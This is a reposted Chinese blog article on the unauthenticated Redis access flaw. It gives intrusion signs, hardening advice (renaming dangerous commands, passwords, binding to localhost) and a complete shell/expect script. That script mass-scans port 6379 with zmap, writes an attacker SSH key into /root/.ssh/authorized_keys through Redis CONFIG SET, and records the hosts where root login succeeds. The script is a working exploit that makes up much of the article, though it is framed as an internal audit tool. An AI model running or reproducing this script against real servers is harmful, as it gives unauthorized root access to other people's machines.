Redis 请务必注意 Redis 安全配置,否则将导致轻松被入侵

来源:互联网 发布:数据库系统的简易设计 编辑:程序博客网 时间:2024/05/29 05:08

一、前言

前段时间,在做内网影响程度评估的时候写了扫描利用小脚本, 扫描后统计发现,内网中60%开放了redis6379端口的主机处于可以被利用的危险状态,因为都是一些默认配置造成的 考虑到本社区大部分开发者都会使用redis,特此分享下以便大家可以对自己公司的内网进行一个排查。

二、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

入侵特征:

  1. Redis 可能执行过 FLUSHALL 方法,整个 Redis 数据库被清空
  2. 在 Redis 数据库中新建了一个名为 crackit(网上流传的命令指令) 的键值对,内容为一个 SSH 公钥。
  3. 在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件,内容为 Redis 生成的 db 文件,包含上述公钥

三、修复建议

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""

来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1

使得 Redis 服务只在当前主机可用

四、扫描工具

1 使用说明

#以Ubuntu为例su# Requirementsapt-get install redis-server expect zmapgit clone https://github.com/qingxp9/yyfexploitcd yyfexploit/redis# 扫描6379端口# 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt# Usage./redis.sh ip.txt

最后,将会生成几个txt文件记录结果 其中: runasroot.txt 表示redis无认证,且以root运行 noauth.txt 表示redis无认证,但以普通用户运行 rootshell.txt 已写入公钥,可直接以证书登录root用户

像这样:

ssh -i id_rsa root@x.x.x.x

2 工具源代码

就贴下代码吧,各位大牛请在家长陪同下观看

#!/bin/sh if [ $# -eq 1  ] then   ip_list=$1   ##create id_rsa   echo "****************************************Create id_rsa file"   expect -c "     spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"     expect {         \"*passphrase): \" {             exp_send \"\r\"             exp_continue         }         \"*again: \" {             exp_send \"\r\"         }         \"*y/n)? \" {             exp_send \"n\r\"         }     }     expect eof   "   echo "\n\n****************************************Attack Targets"   touch noauth.txt runasroot.txt rootshell.txt haveauth.txt   i=0   cat $ip_list | while read ip   do     i=`expr $i + 1`;     #write id_rsa.pub to remote     echo "*****${i}***connect to remote ${ip} redis "     expect -c "       set timeout 3       spawn redis-cli -h $ip config set dir /root/.ssh/       expect {         \"OK\"                        { exit 0 }         \"ERR Changing directory: Permission denied\"         { exit 1 }         timeout                       { exit 2 }         \"(error) NOAUTH Authentication required\"         { exit 3 }       }     "     case $? in         0)  echo "run redis as root"             echo $ip >> noauth.txt             echo $ip >> runasroot.txt         ;;         1)  echo "not run redis as root\n\n\n"             echo $ip >> noauth.txt             continue         ;;         2)  echo "connect timeout\n\n\n"             continue         ;;         3)  echo "Have Auth\n\n\n"             echo $ip >> haveauth.txt             continue         ;;     esac     (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt     cat foo.txt | redis-cli -h $ip -x set 1     redis-cli -h $ip config set dir /root/.ssh/     redis-cli -h $ip config set dbfilename "authorized_keys"     redis-cli save     #login test     echo "#try to login"     expect -c "       set timeout 5       spawn ssh -i id_rsa root@$ip echo \"yyf\"       expect {         \"*yes/no\"     { send \"yes\n\"}         \"*password\"   { send \"\003\"; exit 1 }         \"yyf\"         { exit 0 }         timeout         { exit 2 }       }       exit 4     "     exitcode=$?     if [ $exitcode -eq 0 ]     then       echo "---------------${ip} is get root shell"       echo $ip >> rootshell.txt     fi     echo "\n\n\n"   done   echo "##########Final Count##########"   wc -l $ip_list   echo "----------"   wc -l noauth.txt   wc -l runasroot.txt   wc -l rootshell.txt   echo "----------"   wc -l haveauth.txt else   echo "usage: ./redis.sh ip.txt" fi

五、相关参考

  1. http://zone.wooyun.org/content/23858
  2. https://blog.islandzero.net/2015/11/11/redis-crackit/
  3. http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

如果代码有写得不合理的地方,还望指出哈

转自:https://ruby-china.org/topics/28094

阅读全文
'); })();
0 0
原创粉丝点击
热门IT博客
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 合肥恒大城二手房价格 恒大城二期 南充恒大城 大城主 济南恒大城公寓 恒大城装饰 贵阳恒大城 郑州恒大城房价 福清恒大城 沈阳恒大城 恒大城2期 衡水恒大城房价 新余恒大城 恒大城精装房 恒大城二手房信息 凯里恒大城 方大城 恒大世纪城户型图 绿地滨湖国际花都 鼎元府邸 滨湖万科城 和昌都汇华府 恒大浦和 恒大浦和战绩 恒大对浦和战绩 恒大对鹿岛鹿角 恒大对深圳 女排河南对广东恒大朱婷 恒大兴安调和油 恒大兴安菜籽油 恒大兴安绿色大豆油 恒大国际文化城 恒大贷款 恒天宇gps查询平台 恒天然 恒天然 可瑞康 恒天然股票代码 多美滋恒天然 恒天然贝因美 恒天然集团招聘 恒天然 fonterra